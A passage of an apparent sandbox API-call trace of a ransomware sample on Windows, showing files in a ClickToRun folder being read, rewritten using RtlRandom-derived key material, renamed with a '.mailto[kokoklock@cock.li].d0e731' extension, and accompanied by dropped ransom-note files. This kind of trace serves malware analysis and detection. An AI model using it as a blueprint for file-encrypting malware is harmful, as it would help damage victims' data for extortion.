nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27abfe98, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27abfe98*=0x4096, lpOverlapped=0x0) returned 1 [0082.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.578] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x5211, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.578] WriteFile (in: hFile=0x660, lpBuffer=0x342cb28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27abfed0, lpOverlapped=0x0 | out: lpBuffer=0x342cb28*, lpNumberOfBytesWritten=0x27abfed0*=0x20, lpOverlapped=0x0) returned 1 [0082.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb28) returned 1 [0082.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.578] WriteFile (in: hFile=0x660, lpBuffer=0x342cc40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x27abfee4, lpOverlapped=0x0 | out: lpBuffer=0x342cc40*, lpNumberOfBytesWritten=0x27abfee4*=0x8, lpOverlapped=0x0) returned 1 [0082.579] WriteFile (in: hFile=0x660, lpBuffer=0x27abfefc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27abfee4, lpOverlapped=0x0 | out: lpBuffer=0x27abfefc*, lpNumberOfBytesWritten=0x27abfee4*=0x4, lpOverlapped=0x0) returned 1 [0082.579] WriteFile (in: hFile=0x660, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27abfee4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x27abfee4*=0x4, lpOverlapped=0x0) returned 1 [0082.579] WriteFile (in: hFile=0x660, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x27abfee4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x27abfee4*=0x6c, lpOverlapped=0x0) returned 1 [0082.579] WriteFile (in: hFile=0x660, lpBuffer=0x342ca88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27abfee4, lpOverlapped=0x0 | out: lpBuffer=0x342ca88*, lpNumberOfBytesWritten=0x27abfee4*=0x20, lpOverlapped=0x0) returned 1 [0082.579] WriteFile (in: hFile=0x660, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27abfee4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x27abfee4*=0x4, lpOverlapped=0x0) returned 1 [0082.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0082.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc40) returned 1 [0082.579] CloseHandle (hObject=0x660) returned 1 [0082.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x33fcab8 [0082.580] wcscpy (in: _Dest=0x33fcab8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" [0082.580] wcscat (in: _Dest=0x33fcab8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0082.580] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.583] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcab8) returned 1 [0082.583] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", dwFileAttributes=0x20) returned 0 [0082.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x3493e18 [0082.583] wcscpy (in: _Dest=0x3493e18, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" [0082.583] wcscat (in: _Dest=0x3493e18, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\D0E731-Readme.txt" [0082.583] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\d0e731-readme.txt")) returned 0x20 [0082.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493e18) returned 1 [0082.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a428) returned 1 [0082.583] RtlExitUserThread (Status=0x1) Thread: id = 1116 os_tid = 0x132c [0082.559] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash")) returned 0x20 [0082.559] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash", dwFileAttributes=0x20) returned 1 [0082.560] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.560] GetFileSizeEx (in: hFile=0x668, lpFileSize=0x27b3fd10 | out: lpFileSize=0x27b3fd10*=102) returned 1 [0082.560] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.560] ReadFile (in: hFile=0x668, lpBuffer=0x27b3fce4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27b3fce0, lpOverlapped=0x0 | out: lpBuffer=0x27b3fce4*, lpNumberOfBytesRead=0x27b3fce0*=0x4, lpOverlapped=0x0) returned 1 [0082.561] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb28 [0082.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc68 [0082.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc90 [0082.561] NtQuerySystemTime (in: CurrentTime=0x27b3fcbc | out: CurrentTime=0x27b3fcbc*=132121176404610097) returned 0x0 [0082.561] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x4465cdbe [0082.561] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x5d55ef67 [0082.561] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xebef1502 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xa9d50046 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xcd54d27c [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xf2ccf672 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x9a73211 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xdc19ea11 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x3885efce [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x2b16e81b [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x511ef32f [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x3da0e42e [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x96784657 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x847e0670 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x62aed97b [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xe724b903 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x31000b3d [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x84aeafcf [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x4de1ab93 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xe5438b2c [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xecc93743 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x8c7522cf [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xf81d5301 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x36fa4dc [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x8a685ee5 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x7d5b7d0a [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xc67bac69 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xbb46c7a5 [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xf7274a3f [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xa8acfd5d [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0x5eb241ee [0082.562] RtlRandom (in: Seed=0x27b3fcc8 | out: Seed=0x27b3fcc8) returned 0xabca9092 [0082.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb28) returned 1 [0082.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb28 [0082.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb28) returned 1 [0082.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0082.573] ReadFile (in: hFile=0x668, lpBuffer=0x34ae380, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x27b3fcbc, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesRead=0x27b3fcbc*=0x66, lpOverlapped=0x0) returned 1 [0082.573] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x27b3fc84 | out: lpNewFilePointer=0x0) returned 1 [0082.573] WriteFile (in: hFile=0x668, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x27b3fcb8, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x27b3fcb8*=0x66, lpOverlapped=0x0) returned 1 [0082.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb28 [0082.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c808 [0082.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c808) returned 1 [0082.574] WriteFile (in: hFile=0x668, lpBuffer=0x342cb28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27b3fcb4, lpOverlapped=0x0 | out: lpBuffer=0x342cb28*, lpNumberOfBytesWritten=0x27b3fcb4*=0x20, lpOverlapped=0x0) returned 1 [0082.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb28) returned 1 [0082.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0082.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.574] WriteFile (in: hFile=0x668, lpBuffer=0x342cce0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x27b3fce0, lpOverlapped=0x0 | out: lpBuffer=0x342cce0*, lpNumberOfBytesWritten=0x27b3fce0*=0x8, lpOverlapped=0x0) returned 1 [0082.574] WriteFile (in: hFile=0x668, lpBuffer=0x27b3fcf8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27b3fce0, lpOverlapped=0x0 | out: lpBuffer=0x27b3fcf8*, lpNumberOfBytesWritten=0x27b3fce0*=0x4, lpOverlapped=0x0) returned 1 [0082.574] WriteFile (in: hFile=0x668, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27b3fce0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x27b3fce0*=0x4, lpOverlapped=0x0) returned 1 [0082.574] WriteFile (in: hFile=0x668, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x27b3fce0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x27b3fce0*=0x6c, lpOverlapped=0x0) returned 1 [0082.574] WriteFile (in: hFile=0x668, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27b3fce0, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x27b3fce0*=0x20, lpOverlapped=0x0) returned 1 [0082.574] WriteFile (in: hFile=0x668, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27b3fce0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x27b3fce0*=0x4, lpOverlapped=0x0) returned 1 [0082.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0082.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ccb8) returned 1 [0082.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cce0) returned 1 [0082.575] CloseHandle (hObject=0x668) returned 1 [0082.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x104) returned 0x33fcab8 [0082.575] wcscpy (in: _Dest=0x33fcab8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" [0082.575] wcscat (in: _Dest=0x33fcab8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" [0082.575] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.576] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.576] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcab8) returned 1 [0082.576] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash", dwFileAttributes=0x20) returned 0 [0082.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x3493b78 [0082.576] wcscpy (in: _Dest=0x3493b78, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" [0082.576] wcscat (in: _Dest=0x3493b78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\D0E731-Readme.txt" [0082.576] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\d0e731-readme.txt")) returned 0xffffffff [0082.577] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.580] WriteFile (in: hFile=0x668, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x27b3fcdc, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x27b3fcdc*=0x481, lpOverlapped=0x0) returned 1 [0082.581] CloseHandle (hObject=0x668) returned 1 [0082.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493b78) returned 1 [0082.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7a28) returned 1 [0082.581] RtlExitUserThread (Status=0x1) Thread: id = 1117 os_tid = 0x1330 [0082.584] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat")) returned 0x20 [0082.585] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", dwFileAttributes=0x20) returned 1 [0082.585] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x660 [0082.585] GetFileSizeEx (in: hFile=0x660, lpFileSize=0x27bbfbd8 | out: lpFileSize=0x27bbfbd8*=3688458) returned 1 [0082.585] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x384806, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.585] ReadFile (in: hFile=0x660, lpBuffer=0x27bbfbac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27bbfba8, lpOverlapped=0x0 | out: lpBuffer=0x27bbfbac*, lpNumberOfBytesRead=0x27bbfba8*=0x4, lpOverlapped=0x0) returned 1 [0082.588] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb28 [0082.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca88 [0082.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc40 [0082.588] NtQuerySystemTime (in: CurrentTime=0x27bbfb84 | out: CurrentTime=0x27bbfb84*=132121176404766992) returned 0x0 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x84f21058 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x8e0cf8db [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xa75005eb [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xd1dbe55b [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x44a772cf [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x4ab44f10 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xae639ec2 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x51bd63d1 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x2dde30 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x71a98398 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x2ca5884d [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x1ebe4518 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x88d9c74 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x55090e39 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xe5a4eb74 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xf84fe8e8 [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xb508a66a [0082.588] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x699f333 [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xdec3869e [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xb09cab63 [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x5a46840d [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xc8c83015 [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x7afe0e07 [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xc7764a00 [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x4dfcd091 [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x13a21766 [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x6d266c09 [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x15c35e73 [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xeb2ab665 [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0xed0056bf [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: 